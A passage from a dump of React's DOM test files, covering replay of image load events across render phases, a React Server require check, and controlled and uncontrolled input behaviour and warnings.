this.setAttribute('src', value);\n      },\n    });\n  });\n\n  afterEach(() => {\n    document.createElement = originalCreateElement;\n    Object.defineProperty(\n      HTMLImageElement.prototype,\n      'src',\n      originalHTMLImageElementSrcDescriptor,\n    );\n  });\n\n  it('captures the load event if it happens before commit phase and replays it between layout and passive effects', async function () {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    React.startTransition(() =>\n      root.render(\n        <PhaseMarkers>\n          <Img onLoad={onLoadSpy} />\n          <Yield />\n          <Text text={'a'} />\n        </PhaseMarkers>,\n      ),\n    );\n\n    await waitFor(['render start', 'Img default', 'Yield']);\n    const img = last(images);\n    loadImage(img);\n    assertLog([\n      'actualLoadSpy [default]',\n      // no onLoadSpy since we have not completed render\n    ]);\n    await waitForAll(['a', 'load triggered', 'last layout', 'last passive']);\n    expect(img.__needsDispatch).toBe(true);\n    loadImage(img);\n    assertLog([\n      'actualLoadSpy [default]', // the browser reloading of the image causes this to yield again\n      'onLoadSpy [default]',\n    ]);\n    expect(onLoadSpy).toHaveBeenCalled();\n  });\n\n  it('captures the load event if it happens after commit phase and replays it', async function () {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    React.startTransition(() =>\n      root.render(\n        <PhaseMarkers>\n          <Img onLoad={onLoadSpy} />\n        </PhaseMarkers>,\n      ),\n    );\n\n    await waitFor([\n      'render start',\n      'Img default',\n      'load triggered',\n      'last layout',\n    ]);\n    Scheduler.unstable_requestPaint();\n    const img = last(images);\n    loadImage(img);\n    assertLog(['actualLoadSpy [default]', 'onLoadSpy [default]']);\n    await waitForAll(['last passive']);\n    expect(img.__needsDispatch).toBe(false);\n    expect(onLoadSpy).toHaveBeenCalledTimes(1);\n  });\n\n  it('replays the last load event when more than one fire before the end of the layout phase completes', async function () {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function Base() {\n      const [src, setSrc] = React.useState('a');\n      return (\n        <PhaseMarkers>\n          <Img src={src} onLoad={onLoadSpy} />\n          <Yield />\n          <UpdateSrc setSrc={setSrc} />\n        </PhaseMarkers>\n      );\n    }\n\n    function UpdateSrc({setSrc}) {\n      React.useLayoutEffect(() => {\n        setSrc('b');\n      }, [setSrc]);\n      return null;\n    }\n\n    React.startTransition(() => root.render(<Base />));\n\n    await waitFor(['render start', 'Img a', 'Yield']);\n    const img = last(images);\n    loadImage(img);\n    assertLog(['actualLoadSpy [a]']);\n\n    await waitFor([\n      'load triggered',\n      'last layout',\n      // the update in layout causes a passive effects flush before a sync render\n      'last passive',\n      'render start',\n      'Img b',\n      'Yield',\n      // yield is ignored becasue we are sync rendering\n      'last layout',\n      'last passive',\n    ]);\n    expect(images.length).toBe(1);\n    loadImage(img);\n    assertLog(['actualLoadSpy [b]', 'onLoadSpy [b]']);\n    expect(onLoadSpy).toHaveBeenCalledTimes(1);\n  });\n\n  it('replays load events that happen in passive phase after the passive phase.', async function () {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    root.render(\n      <PhaseMarkers>\n        <Img onLoad={onLoadSpy} />\n      </PhaseMarkers>,\n    );\n\n    await waitForAll([\n      'render start',\n      'Img default',\n      'load triggered',\n      'last layout',\n      'last passive',\n    ]);\n    const img = last(images);\n    loadImage(img);\n    assertLog(['actualLoadSpy [default]', 'onLoadSpy [default]']);\n    expect(onLoadSpy).toHaveBeenCalledTimes(1);\n  });\n\n  it('captures and suppresses the load event if it happens before passive effects and a cascading update causes the img to be removed', async function () {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function ChildSuppressing({children}) {\n      const [showChildren, update] = React.useState(true);\n      React.useLayoutEffect(() => {\n        if (showChildren) {\n          update(false);\n        }\n      }, [showChildren]);\n      return showChildren ? children : null;\n    }\n\n    React.startTransition(() =>\n      root.render(\n        <PhaseMarkers>\n          <ChildSuppressing>\n            <Img onLoad={onLoadSpy} />\n            <Yield />\n            <Text text={'a'} />\n          </ChildSuppressing>\n        </PhaseMarkers>,\n      ),\n    );\n\n    await waitFor(['render start', 'Img default', 'Yield']);\n    const img = last(images);\n    loadImage(img);\n    assertLog(['actualLoadSpy [default]']);\n    await waitForAll(['a', 'load triggered', 'last layout', 'last passive']);\n    expect(img.__needsDispatch).toBe(true);\n    loadImage(img);\n    // we expect the browser to load the image again but since we are no longer rendering\n    // the img there will be no onLoad called\n    assertLog(['actualLoadSpy [default]']);\n    await waitForAll([]);\n    expect(onLoadSpy).not.toHaveBeenCalled();\n  });\n\n  it('captures and suppresses the load event if it happens before passive effects and a cascading update causes the img to be removed, alternate', async function () {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    function Switch({children}) {\n      const [shouldShow, updateShow] = React.useState(true);\n      return children(shouldShow, updateShow);\n    }\n\n    function UpdateSwitchInLayout({updateShow}) {\n      React.useLayoutEffect(() => {\n        updateShow(false);\n      }, []);\n      return null;\n    }\n\n    React.startTransition(() =>\n      root.render(\n        <Switch>\n          {(shouldShow, updateShow) => (\n            <PhaseMarkers>\n              <>\n                {shouldShow === true ? (\n                  <>\n                    <Img onLoad={onLoadSpy} />\n                    <Yield />\n                    <Text text={'a'} />\n                  </>\n                ) : null}\n                ,\n                <UpdateSwitchInLayout updateShow={updateShow} />\n              </>\n            </PhaseMarkers>\n          )}\n        </Switch>,\n      ),\n    );\n\n    await waitFor([\n      // initial render\n      'render start',\n      'Img default',\n      'Yield',\n    ]);\n    const img = last(images);\n    loadImage(img);\n    assertLog(['actualLoadSpy [default]']);\n    await waitForAll([\n      'a',\n      'load triggered',\n      // img is present at first\n      'last layout',\n      'last passive',\n      // sync re-render where the img is suppressed\n      'render start',\n      'last layout',\n      'last passive',\n    ]);\n    expect(img.__needsDispatch).toBe(true);\n    loadImage(img);\n    // we expect the browser to load the image again but since we are no longer rendering\n    // the img there will be no onLoad called\n    assertLog(['actualLoadSpy [default]']);\n    await waitForAll([]);\n    expect(onLoadSpy).not.toHaveBeenCalled();\n  });\n\n  // eslint-disable-next-line jest/no-commented-out-tests\n  // it('captures the load event if it happens in a suspended subtree and replays it between layout and passive effects on resumption', async function() {\n  //   function SuspendingWithImage() {\n  //     Scheduler.log('SuspendingWithImage');\n  //     return (\n  //       <Suspense fallback={<Text text=\"Loading...\" />}>\n  //         <AsyncText text=\"A\" ms={100} />\n  //         <PhaseMarkers>\n  //           <Img onLoad={onLoadSpy} />\n  //         </PhaseMarkers>\n  //       </Suspense>\n  //     );\n  //   }\n\n  //   const container = document.createElement('div');\n  //   const root = ReactDOMClient.createRoot(container);\n\n  //   React.startTransition(() => root.render(<SuspendingWithImage />));\n\n  //   expect(Scheduler).toFlushAndYield([\n  //     'SuspendingWithImage',\n  //     'Suspend! [A]',\n  //     'render start',\n  //     'Img default',\n  //     'Loading...',\n  //   ]);\n  //   let img = last(images);\n  //   loadImage(img);\n  //   expect(Scheduler).toHaveYielded(['actualLoadSpy [default]']);\n  //   expect(onLoadSpy).not.toHaveBeenCalled();\n\n  //   // Flush some of the time\n  //   jest.advanceTimersByTime(50);\n  //   // Still nothing...\n  //   expect(Scheduler).toFlushWithoutYielding();\n\n  //   // Flush the promise completely\n  //   jest.advanceTimersByTime(50);\n  //   // Renders successfully\n  //   expect(Scheduler).toHaveYielded(['Promise resolved [A]']);\n\n  //   expect(Scheduler).toFlushAndYieldThrough([\n  //     'A',\n  //     // img was recreated on unsuspended tree causing new load event\n  //     'render start',\n  //     'Img default',\n  //     'last layout',\n  //   ]);\n\n  //   expect(images.length).toBe(2);\n  //   img = last(images);\n  //   expect(img.__needsDispatch).toBe(true);\n  //   loadImage(img);\n  //   expect(Scheduler).toHaveYielded([\n  //     'actualLoadSpy [default]',\n  //     'onLoadSpy [default]',\n  //   ]);\n\n  //   expect(Scheduler).toFlushAndYield(['last passive']);\n\n  //   expect(onLoadSpy).toHaveBeenCalledTimes(1);\n  // });\n\n  it('correctly replays the last img load even when a yield + update causes the host element to change', async function () {\n    let externalSetSrc = null;\n    let externalSetSrcAlt = null;\n\n    function Base() {\n      const [src, setSrc] = React.useState(null);\n      const [srcAlt, setSrcAlt] = React.useState(null);\n      externalSetSrc = setSrc;\n      externalSetSrcAlt = setSrcAlt;\n      return srcAlt || src ? <YieldingWithImage src={srcAlt || src} /> : null;\n    }\n\n    function YieldingWithImage({src}) {\n      Scheduler.log('YieldingWithImage');\n      React.useEffect(() => {\n        Scheduler.log('Committed');\n      });\n      return (\n        <>\n          <Img src={src} onLoad={onLoadSpy} />\n          <Yield />\n          <Text text={src} />\n        </>\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    root.render(<Base />);\n\n    await waitForAll([]);\n\n    React.startTransition(() => externalSetSrc('a'));\n\n    await waitFor(['YieldingWithImage', 'Img a', 'Yield']);\n    let img = last(images);\n    loadImage(img);\n    assertLog(['actualLoadSpy [a]']);\n\n    ReactDOM.flushSync(() => externalSetSrcAlt('b'));\n\n    assertLog([\n      'YieldingWithImage',\n      'Img b',\n      'Yield',\n      'b',\n      'load triggered',\n      'Committed',\n    ]);\n    expect(images.length).toBe(2);\n    img = last(images);\n    expect(img.__needsDispatch).toBe(true);\n    loadImage(img);\n\n    assertLog(['actualLoadSpy [b]', 'onLoadSpy [b]']);\n    // why is there another update here?\n    await waitForAll(['YieldingWithImage', 'Img b', 'Yield', 'b', 'Committed']);\n  });\n\n  it('preserves the src property / attribute when triggering a potential new load event', async () => {\n    // this test covers a regression identified in https://github.com/mui/material-ui/pull/31263\n    // where the resetting of the src property caused the property to change from relative to fully qualified\n\n    // make sure we are not using the patched src setter\n    Object.defineProperty(\n      HTMLImageElement.prototype,\n      'src',\n      originalHTMLImageElementSrcDescriptor,\n    );\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    React.startTransition(() =>\n      root.render(\n        <PhaseMarkers>\n          <Img onLoad={onLoadSpy} />\n          <Yield />\n          <Text text={'a'} />\n        </PhaseMarkers>,\n      ),\n    );\n\n    // render to yield to capture state of img src attribute and property before commit\n    await waitFor(['render start', 'Img default', 'Yield']);\n    const img = last(images);\n    const renderSrcProperty = img.src;\n    const renderSrcAttr = img.getAttribute('src');\n\n    // finish render and commit causing the src property to be rewritten\n    await waitForAll(['a', 'last layout', 'last passive']);\n    const commitSrcProperty = img.src;\n    const commitSrcAttr = img.getAttribute('src');\n\n    // ensure attribute and properties agree\n    expect(renderSrcProperty).toBe(commitSrcProperty);\n    expect(renderSrcAttr).toBe(commitSrcAttr);\n  });\n\n  it('captures the load event for Blob sources if it happens before commit phase', async function () {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    const blob = new Blob();\n\n    React.startTransition(() =>\n      root.render(\n        <PhaseMarkers>\n          <Img src={blob} onLoad={onLoadSpy} />\n          <Yield />\n          <Text text={'a'} />\n        </PhaseMarkers>,\n      ),\n    );\n\n    await waitFor(['render start', 'Img [object Blob]', 'Yield']);\n    const img = last(images);\n    loadImage(img);\n    assertLog([\n      'actualLoadSpy [[object Blob]]',\n      // no onLoadSpy since we have not completed render\n    ]);\n    await waitForAll(['a', 'load triggered', 'last layout', 'last passive']);\n    expect(img.__needsDispatch).toBe(true);\n    loadImage(img);\n    assertLog([\n      'actualLoadSpy [[object Blob]]', // the browser reloading of the image causes this to yield again\n      'onLoadSpy [[object Blob]]',\n    ]);\n    expect(onLoadSpy).toHaveBeenCalled();\n  });\n\n  it('captures the load event for Blob sources if it happens after commit phase and replays it', async function () {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    const blob = new Blob();\n\n    React.startTransition(() =>\n      root.render(\n        <PhaseMarkers>\n          <Img src={blob} onLoad={onLoadSpy} />\n        </PhaseMarkers>,\n      ),\n    );\n\n    await waitFor([\n      'render start',\n      'Img [object Blob]',\n      'load triggered',\n      'last layout',\n    ]);\n    Scheduler.unstable_requestPaint();\n    const img = last(images);\n    loadImage(img);\n    assertLog(['actualLoadSpy [[object Blob]]', 'onLoadSpy [[object Blob]]']);\n    await waitForAll(['last passive']);\n    expect(img.__needsDispatch).toBe(false);\n    expect(onLoadSpy).toHaveBeenCalledTimes(1);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMInReactServer-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactDOMInReactServer', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    jest.mock('react', () => require('react/react.react-server'));\n  });\n\n  it('can require react-dom', () => {\n    // In RSC this will be aliased.\n    require('react');\n    require('react-dom');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMInput-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n// Set by `yarn test-fire`.\nconst {disableInputAttributeSyncing} = require('shared/ReactFeatureFlags');\n\nfunction emptyFunction() {}\n\ndescribe('ReactDOMInput', () => {\n  let React;\n  let ReactDOM;\n  let ReactDOMClient;\n  let ReactDOMServer;\n  let Scheduler;\n  let act;\n  let assertLog;\n  let setUntrackedValue;\n  let setUntrackedChecked;\n  let container;\n  let root;\n  let assertConsoleErrorDev;\n\n  function dispatchEventOnNode(node, type) {\n    node.dispatchEvent(new Event(type, {bubbles: true, cancelable: true}));\n  }\n\n  function isValueDirty(node) {\n    // Return the \"dirty value flag\" as defined in the HTML spec. Cast to text\n    // input to sidestep complicated value sanitization behaviors.\n    const copy = node.cloneNode();\n    copy.type = 'text';\n    // If modifying the attribute now doesn't change the value, the value was already detached.\n    copy.defaultValue += Math.random();\n    return copy.value === node.value;\n  }\n\n  function isCheckedDirty(node) {\n    // Return the \"dirty checked flag\" as defined in the HTML spec.\n    if (node.checked !== node.defaultChecked) {\n      return true;\n    }\n    const copy = node.cloneNode();\n    copy.type = 'checkbox';\n    copy.defaultChecked = !copy.defaultChecked;\n    return copy.checked === node.checked;\n  }\n\n  function getTrackedAndCurrentInputValue(elem: HTMLElement): [mixed, mixed] {\n    const tracker = elem._valueTracker;\n    if (!tracker) {\n      throw new Error('No input tracker');\n    }\n    return [\n      tracker.getValue(),\n      elem.nodeName === 'INPUT' &&\n      (elem.type === 'checkbox' || elem.type === 'radio')\n        ? String(elem.checked)\n        : elem.value,\n    ];\n  }\n\n  function assertInputTrackingIsCurrent(parent) {\n    parent.querySelectorAll('input, textarea, select').forEach(input => {\n      const [trackedValue, currentValue] =\n        getTrackedAndCurrentInputValue(input);\n      if (trackedValue !== currentValue) {\n        throw new Error(\n          `Input ${input.outerHTML} is currently ${currentValue} but tracker thinks it's ${trackedValue}`,\n        );\n      }\n    });\n  }\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    setUntrackedValue = Object.getOwnPropertyDescriptor(\n      HTMLInputElement.prototype,\n      'value',\n    ).set;\n    setUntrackedChecked = Object.getOwnPropertyDescriptor(\n      HTMLInputElement.prototype,\n      'checked',\n    ).set;\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    assertLog = require('internal-test-utils').assertLog;\n\n    container = document.createElement('div');\n    document.body.appendChild(container);\n    root = ReactDOMClient.createRoot(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    jest.restoreAllMocks();\n  });\n\n  it('should warn for controlled value of 0 with missing onChange', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value={0} />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `value` prop to a form ' +\n        'field without an `onChange` handler. This will render a read-only ' +\n        'field. If the field should be mutable use `defaultValue`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn for controlled value of \"\" with missing onChange', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value=\"\" />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `value` prop to a form ' +\n        'field without an `onChange` handler. This will render a read-only ' +\n        'field. If the field should be mutable use `defaultValue`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn for controlled value of \"0\" with missing onChange', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value=\"0\" />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `value` prop to a form ' +\n        'field without an `onChange` handler. This will render a read-only ' +\n        'field. If the field should be mutable use `defaultValue`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn for controlled value of false with missing onChange', async () => {\n    await act(() => {\n      root.render(<input type=\"checkbox\" checked={false} />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `checked` prop to a form field without an `onChange` handler. ' +\n        'This will render a read-only field. If the field should be mutable use `defaultChecked`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn with checked and no onChange handler with readOnly specified', async () => {\n    await act(() => {\n      root.render(<input type=\"checkbox\" checked={false} readOnly={true} />);\n    });\n    root.unmount();\n    root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<input type=\"checkbox\" checked={false} readOnly={false} />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `checked` prop to a form field without an `onChange` handler. ' +\n        'This will render a read-only field. If the field should be mutable use `defaultChecked`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should not warn about missing onChange in uncontrolled inputs', async () => {\n    await act(() => {\n      root.render(<input />);\n    });\n    root.unmount();\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input value={undefined} />);\n    });\n    root.unmount();\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input type=\"text\" />);\n    });\n    root.unmount();\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input type=\"text\" value={undefined} />);\n    });\n    root.unmount();\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input type=\"checkbox\" />);\n    });\n    root.unmount();\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input type=\"checkbox\" checked={undefined} />);\n    });\n  });\n\n  it('should not warn with value and onInput handler', async () => {\n    await act(() => {\n      root.render(<input value=\"...\" onInput={() => {}} />);\n    });\n  });\n\n  it('should properly control a value even if no event listener exists', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value=\"lion\" />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `value` prop to a form field without an `onChange` handler. ' +\n        'This will render a read-only field. If the field should be mutable use `defaultValue`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in input (at **)',\n    ]);\n    const node = container.firstChild;\n    expect(isValueDirty(node)).toBe(true);\n\n    setUntrackedValue.call(node, 'giraffe');\n\n    // This must use the native event dispatching. If we simulate, we will\n    // bypass the lazy event attachment system so we won't actually test this.\n    await act(() => {\n      dispatchEventOnNode(node, 'input');\n    });\n\n    expect(node.value).toBe('lion');\n    expect(isValueDirty(node)).toBe(true);\n  });\n\n  it('should control a value in reentrant events', async () => {\n    class ControlledInputs extends React.Component {\n      state = {value: 'lion'};\n      a = null;\n      b = null;\n      switchedFocus = false;\n      change(newValue) {\n        this.setState({value: newValue});\n        // Calling focus here will blur the text box which causes a native\n        // change event. Ideally we shouldn't have to fire this ourselves.\n        // Don't remove unless you've verified the fix in #8240 is still covered.\n        dispatchEventOnNode(this.a, 'input');\n        this.b.focus();\n      }\n      blur(currentValue) {\n        this.switchedFocus = true;\n        // currentValue should be 'giraffe' here because we should not have\n        // restored it on the target yet.\n        this.setState({value: currentValue});\n      }\n      render() {\n        return (\n          <div>\n            <input\n              type=\"text\"\n              ref={n => (this.a = n)}\n              value={this.state.value}\n              onChange={e => this.change(e.target.value)}\n              onBlur={e => this.blur(e.target.value)}\n            />\n            <input type=\"text\" ref={n => (this.b = n)} />\n          </div>\n        );\n      }\n    }\n\n    const ref = React.createRef();\n    await act(() => {\n      root.render(<ControlledInputs ref={ref} />);\n    });\n    const instance = ref.current;\n\n    // Focus the field so we can later blur it.\n    // Don't remove unless you've verified the fix in #8240 is still covered.\n    await act(() => {\n      instance.a.focus();\n    });\n    setUntrackedValue.call(instance.a, 'giraffe');\n    // This must use the native event dispatching. If we simulate, we will\n    // bypass the lazy event attachment system so we won't actually test this.\n    await act(() => {\n      dispatchEventOnNode(instance.a, 'input');\n    });\n    await act(() => {\n      dispatchEventOnNode(instance.a, 'blur');\n    });\n    await act(() => {\n      dispatchEventOnNode(instance.a, 'focusout');\n    });\n\n    expect(instance.a.value).toBe('giraffe');\n    expect(instance.switchedFocus).toBe(true);\n  });\n\n  it('should control values in reentrant events with different targets', async () => {\n    class ControlledInputs extends React.Component {\n      state = {value: 'lion'};\n      a = null;\n      b = null;\n      change(newValue) {\n        // This click will change the checkbox's value to false. Then it will\n        // invoke an inner change event. When we finally, flush, we need to\n        // reset the checkbox's value to true since that is its controlled\n        // value.\n        this.b.click();\n      }\n      render() {\n        return (\n          <div>\n            <input\n              type=\"text\"\n              ref={n => (this.a = n)}\n              value=\"lion\"\n              onChange={e => this.change(e.target.value)}\n            />\n            <input\n              type=\"checkbox\"\n              ref={n => (this.b = n)}\n              checked={true}\n              onChange={() => {}}\n            />\n          </div>\n        );\n      }\n    }\n\n    const ref = React.createRef();\n    await act(() => {\n      root.render(<ControlledInputs ref={ref} />);\n    });\n    const instance = ref.current;\n\n    setUntrackedValue.call(instance.a, 'giraffe');\n    // This must use the native event dispatching. If we simulate, we will\n    // bypass the lazy event attachment system so we won't actually test this.\n    await act(() => {\n      dispatchEventOnNode(instance.a, 'input');\n    });\n\n    expect(instance.a.value).toBe('lion');\n    expect(instance.b.checked).toBe(true);\n  });\n\n  describe('switching text inputs between numeric and string numbers', () => {\n    it('does change the number 2 to \"2.0\" with no change handler', async () => {\n      await act(() => {\n        root.render(<input type=\"text\" value={2} onChange={jest.fn()} />);\n      });\n      const node = container.firstChild;\n\n      setUntrackedValue.call(node, '2.0');\n      dispatchEventOnNode(node, 'input');\n\n      expect(node.value).toBe('2');\n      if (disableInputAttributeSyncing) {\n        expect(node.hasAttribute('value')).toBe(false);\n      } else {\n        expect(node.getAttribute('value')).toBe('2');\n      }\n    });\n\n    it('does change the string \"2\" to \"2.0\" with no change handler', async () => {\n      await act(() => {\n        root.render(<input type=\"text\" value={'2'} onChange={jest.fn()} />);\n      });\n      const node = container.firstChild;\n\n      setUntrackedValue.call(node, '2.0');\n      dispatchEventOnNode(node, 'input');\n\n      expect(node.value).toBe('2');\n      if (disableInputAttributeSyncing) {\n        expect(node.hasAttribute('value')).toBe(false);\n      } else {\n        expect(node.getAttribute('value')).toBe('2');\n      }\n    });\n\n    it('changes the number 2 to \"2.0\" using a change handler', async () => {\n      class Stub extends React.Component {\n        state = {\n          value: 2,\n        };\n        onChange = event => {\n          this.setState({value: event.target.value});\n        };\n        render() {\n          const {value} = this.state;\n\n          return <input type=\"text\" value={value} onChange={this.onChange} />;\n        }\n      }\n\n      await act(() => {\n        root.render(<Stub />);\n      });\n      const node = container.firstChild;\n\n      setUntrackedValue.call(node, '2.0');\n      dispatchEventOnNode(node, 'input');\n\n      expect(node.value).toBe('2.0');\n      if (disableInputAttributeSyncing) {\n        expect(node.hasAttribute('value')).toBe(false);\n      } else {\n        expect(node.getAttribute('value')).toBe('2.0');\n      }\n    });\n  });\n\n  it('does change the string \".98\" to \"0.98\" with no change handler', async () => {\n    class Stub extends React.Component {\n      state = {\n        value: '.98',\n      };\n      render() {\n        return <input type=\"number\" value={this.state.value} />;\n      }\n    }\n\n    const ref = React.createRef();\n    await act(() => {\n      root.render(<Stub ref={ref} />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `value` prop to a form field without an `onChange` handler. ' +\n        'This will render a read-only field. If the field should be mutable use `defaultValue`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in input (at **)\\n' +\n        '    in Stub (at **)',\n    ]);\n    const node = container.firstChild;\n    await act(() => {\n      ref.current.setState({value: '0.98'});\n    });\n\n    expect(node.value).toEqual('0.98');\n  });\n\n  it('performs a state change from \"\" to 0', async () => {\n    class Stub extends React.Component {\n      state = {\n        value: '',\n      };\n      render() {\n        return <input type=\"number\" value={this.state.value} readOnly={true} />;\n      }\n    }\n\n    const ref = React.createRef();\n    await act(() => {\n      root.render(<Stub ref={ref} />);\n    });\n    const node = container.firstChild;\n    await act(() => {\n      ref.current.setState({value: 0});\n    });\n\n    expect(node.value).toEqual('0');\n  });\n\n  it('updates the value on radio buttons from \"\" to 0', async () => {\n    await act(() => {\n      root.render(<input type=\"radio\" value=\"\" onChange={function () {}} />);\n    });\n    await act(() => {\n      root.render(<input type=\"radio\" value={0} onChange={function () {}} />);\n    });\n    expect(container.firstChild.value).toBe('0');\n    expect(container.firstChild.getAttribute('value')).toBe('0');\n  });\n\n  it('updates the value on checkboxes from \"\" to 0', async () => {\n    await act(() => {\n      root.render(<input type=\"checkbox\" value=\"\" onChange={function () {}} />);\n    });\n    await act(() => {\n      root.render(\n        <input type=\"checkbox\" value={0} onChange={function () {}} />,\n      );\n    });\n    expect(container.firstChild.value).toBe('0');\n    expect(container.firstChild.getAttribute('value')).toBe('0');\n  });\n\n  it('distinguishes precision for extra zeroes in string number values', async () => {\n    class Stub extends React.Component {\n      state = {\n        value: '3.0000',\n      };\n      render() {\n        return <input type=\"number\" value={this.state.value} />;\n      }\n    }\n\n    const ref = React.createRef();\n    await act(() => {\n      root.render(<Stub ref={ref} />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `value` prop to a form field without an `onChange` handler. ' +\n        'This will render a read-only field. If the field should be mutable use `defaultValue`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in input (at **)\\n' +\n        '    in Stub (at **)',\n    ]);\n    const node = container.firstChild;\n    await act(() => {\n      ref.current.setState({value: '3'});\n    });\n\n    expect(node.value).toEqual('3');\n  });\n\n  it('should display `defaultValue` of number 0', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" defaultValue={0} />);\n    });\n    const node = container.firstChild;\n\n    expect(node.getAttribute('value')).toBe('0');\n    expect(node.value).toBe('0');\n  });\n\n  it('only assigns defaultValue if it changes', async () => {\n    class Test extends React.Component {\n      render() {\n        return <input defaultValue=\"0\" />;\n      }\n    }\n\n    const ref = React.createRef();\n    await act(() => {\n      root.render(<Test ref={ref} />);\n    });\n    const node = container.firstChild;\n\n    Object.defineProperty(node, 'defaultValue', {\n      get() {\n        return '0';\n      },\n      set(value) {\n        throw new Error(\n          `defaultValue was assigned ${value}, but it did not change!`,\n        );\n      },\n    });\n\n    await act(() => {\n      ref.current.forceUpdate();\n    });\n  });\n\n  it('should display \"true\" for `defaultValue` of `true`', async () => {\n    const stub = <input type=\"text\" defaultValue={true} />;\n    await act(() => {\n      root.render(stub);\n    });\n    const node = container.firstChild;\n\n    expect(node.value).toBe('true');\n  });\n\n  it('should display \"false\" for `defaultValue` of `false`', async () => {\n    const stub = <input type=\"text\" defaultValue={false} />;\n    await act(() => {\n      root.render(stub);\n    });\n    const node = container.firstChild;\n\n    expect(node.value).toBe('false');\n  });\n\n  it('should update `defaultValue` for uncontrolled input', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" defaultValue=\"0\" />);\n    });\n    const node = container.firstChild;\n\n    expect(node.value).toBe('0');\n    expect(node.defaultValue).toBe('0');\n    if (disableInputAttributeSyncing) {\n      expect(isValueDirty(node)).toBe(false);\n    } else {\n      expect(isValueDirty(node)).toBe(true);\n    }\n\n    await act(() => {\n      root.render(<input type=\"text\" defaultValue=\"1\" />);\n    });\n\n    if (disableInputAttributeSyncing) {\n      expect(node.value).toBe('1');\n      expect(node.defaultValue).toBe('1');\n      expect(isValueDirty(node)).toBe(false);\n    } else {\n      expect(node.value).toBe('0');\n      expect(node.defaultValue).toBe('1');\n      expect(isValueDirty(node)).toBe(true);\n    }\n  });\n\n  it('should update `defaultValue` for uncontrolled date/time input', async () => {\n    await act(() => {\n      root.render(<input type=\"date\" defaultValue=\"1980-01-01\" />);\n    });\n    const node = container.firstChild;\n\n    expect(node.value).toBe('1980-01-01');\n    expect(node.defaultValue).toBe('1980-01-01');\n\n    await act(() => {\n      root.render(<input type=\"date\" defaultValue=\"2000-01-01\" />);\n    });\n\n    if (disableInputAttributeSyncing) {\n      expect(node.value).toBe('2000-01-01');\n      expect(node.defaultValue).toBe('2000-01-01');\n    } else {\n      expect(node.value).toBe('1980-01-01');\n      expect(node.defaultValue).toBe('2000-01-01');\n    }\n\n    await act(() => {\n      root.render(<input type=\"date\" />);\n    });\n  });\n\n  it('should take `defaultValue` when changing to uncontrolled input', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value=\"0\" readOnly={true} />);\n    });\n    const node = container.firstChild;\n    expect(node.value).toBe('0');\n    expect(isValueDirty(node)).toBe(true);\n    await act(() => {\n      root.render(<input type=\"text\" defaultValue=\"1\" />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +\n        'Decide between using a controlled or 